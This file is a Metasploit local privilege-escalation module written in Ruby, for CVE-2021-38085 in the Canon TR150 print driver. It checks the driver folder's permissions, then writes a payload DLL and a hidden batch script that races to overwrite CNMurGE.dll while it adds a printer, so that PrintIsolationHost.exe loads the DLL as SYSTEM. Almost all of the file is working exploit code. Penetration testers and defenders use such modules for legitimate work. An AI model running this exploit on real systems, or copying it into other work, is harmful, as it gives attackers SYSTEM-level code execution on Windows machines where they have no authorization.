155 lines
5.6 KiB
Ruby
155 lines
5.6 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Post::File
|
|
include Msf::Exploit::EXE
|
|
include Msf::Post::Windows::Priv
|
|
include Msf::Exploit::FileDropper
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Canon Driver Privilege Escalation',
|
|
'Description' => %q{
|
|
Canon TR150 print drivers versions 3.71.2.10 and below allow local users to read/write files
|
|
within the "CanonBJ" directory and its subdirectories. By overwriting the DLL at
|
|
C:\ProgramData\CanonBJ\IJPrinter\CNMWINDOWS\Canon TR150 series\LanguageModules\040C\CNMurGE.dll
|
|
with a malicious DLL at the right time whilst running the C:\Windows\System32\Printing_Admin_Scripts\en-US\prnmngr.vbs
|
|
script to install a new printer, a timing issue can be exploited to cause the PrintIsolationHost.exe program,
|
|
which runs as NT AUTHORITY\SYSTEM, to successfully load the malicious DLL. Successful exploitation
|
|
will grant attackers code execution as the NT AUTHORITY\SYSTEM user.
|
|
|
|
This module leverages the prnmngr.vbs script
|
|
to add and delete printers. Multiple runs of this
|
|
module may be required given successful exploitation
|
|
is time-sensitive.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Jacob Baines', # discovery, PoC, module
|
|
'Shelby Pace' # original Ricoh module
|
|
],
|
|
'References' => [
|
|
['CVE', '2021-38085'],
|
|
],
|
|
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
|
'Platform' => 'win',
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
'Targets' => [
|
|
[
|
|
'Windows', { 'Arch' => [ ARCH_X86, ARCH_X64 ] }
|
|
]
|
|
],
|
|
'Notes' => {
|
|
'SideEffects' => [ ARTIFACTS_ON_DISK ],
|
|
'Reliability' => [ UNRELIABLE_SESSION ],
|
|
'Stability' => [ SERVICE_RESOURCE_LOSS ]
|
|
},
|
|
'DisclosureDate' => '2021-08-07',
|
|
'DefaultTarget' => 0,
|
|
'Compat' => {
|
|
'Meterpreter' => {
|
|
'Commands' => %w[
|
|
stdapi_sys_process_execute
|
|
]
|
|
}
|
|
}
|
|
)
|
|
)
|
|
|
|
self.needs_cleanup = true
|
|
end
|
|
|
|
def check
|
|
@driver_path = ''
|
|
dir_name = 'C:\\ProgramData\\CanonBJ\\IJPrinter\\CNMWINDOWS\\Canon TR150 series'
|
|
|
|
return CheckCode::Safe('No Canon TR150 driver directory found') unless directory?(dir_name)
|
|
|
|
language_dirs = dir(dir_name)
|
|
|
|
return CheckCode::Detected("Detected Canon driver directory, but no language files. Its likely the driver is installed but a printer hasn't been added yet") unless language_dirs.length
|
|
|
|
@driver_path = dir_name
|
|
@driver_path.concat('\\LanguageModules\\040C')
|
|
res = cmd_exec("icacls \"#{@driver_path}\"")
|
|
vulnerable = res.match(/\\Users:(?:\(I\))?\(OI\)\(CI\)\(F\)/)
|
|
|
|
return CheckCode::Safe("#{@driver_path} directory does not exist or does not grant Users full permissions") unless vulnerable
|
|
|
|
vprint_status("Vulnerable language driver directory: #{@driver_path}")
|
|
CheckCode::Appears('Canon language driver directory grants Users full permissions')
|
|
end
|
|
|
|
def add_printer(driver_name)
|
|
fail_with(Failure::NotFound, 'Printer driver script not found') unless file?(@script_path)
|
|
|
|
dll_data = generate_payload_dll
|
|
dll_path = "#{@driver_path}\\CNMurGE.dll"
|
|
|
|
temp_path = expand_path('%TEMP%\\CNMurGE.dll')
|
|
|
|
bat_file_path = expand_path("%TEMP%\\#{Rex::Text.rand_text_alpha(5..9)}.bat")
|
|
cp_cmd = "copy /y \"#{temp_path}\" \"#{dll_path}\""
|
|
|
|
# this script monitors the target dll for modification and then copies
|
|
# over our malicious dll. As this is a time based attack, it won't
|
|
# always be succuessful!
|
|
bat_file = <<~HEREDOC
|
|
attrib -a "#{dll_path}"
|
|
:repeat
|
|
for %%i in ("#{dll_path}") do echo %%~ai | find "a" >nul || goto :repeat
|
|
timeout /t 1
|
|
#{cp_cmd}
|
|
attrib -a "#{dll_path}"
|
|
HEREDOC
|
|
|
|
print_status("Dropping batch script to #{bat_file_path}")
|
|
write_file(bat_file_path, bat_file)
|
|
|
|
print_status("Writing DLL file to #{temp_path}")
|
|
write_file(temp_path, dll_data)
|
|
register_files_for_cleanup(bat_file_path, temp_path)
|
|
|
|
script_cmd = "cscript \"#{@script_path}\" -a -p \"#{@printer_name}\" -m \"#{driver_name}\" -r \"lpt1:\""
|
|
bat_cmd = "cmd.exe /c \"#{bat_file_path}\""
|
|
vprint_status('Executing the batch script...')
|
|
client.sys.process.execute(bat_cmd, nil, { 'Hidden' => true })
|
|
|
|
print_status("Adding printer #{@printer_name}...")
|
|
cmd_exec(script_cmd)
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
fail_with(Failure::Unknown, "#{e.class} #{e.message}")
|
|
end
|
|
|
|
def exploit
|
|
fail_with(Failure::None, 'Already running as SYSTEM') if is_system?
|
|
|
|
fail_with(Failure::None, 'Must have a Meterpreter session to run this module') unless session.type == 'meterpreter'
|
|
|
|
if sysinfo['Architecture'] != payload.arch.first
|
|
fail_with(Failure::BadConfig, 'The payload should use the same architecture as the target machine')
|
|
end
|
|
|
|
@printer_name = Rex::Text.rand_text_alpha(5..9)
|
|
@script_path = 'C:\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\prnmngr.vbs'
|
|
drvr_name = 'Canon TR150 series'
|
|
|
|
add_printer(drvr_name)
|
|
end
|
|
|
|
def cleanup
|
|
print_status("Deleting printer #{@printer_name}")
|
|
sleep(3)
|
|
delete_cmd = "cscript \"#{@script_path}\" -d -p \"#{@printer_name}\""
|
|
client.sys.process.execute(delete_cmd, nil, { 'Hidden' => true })
|
|
end
|
|
end
|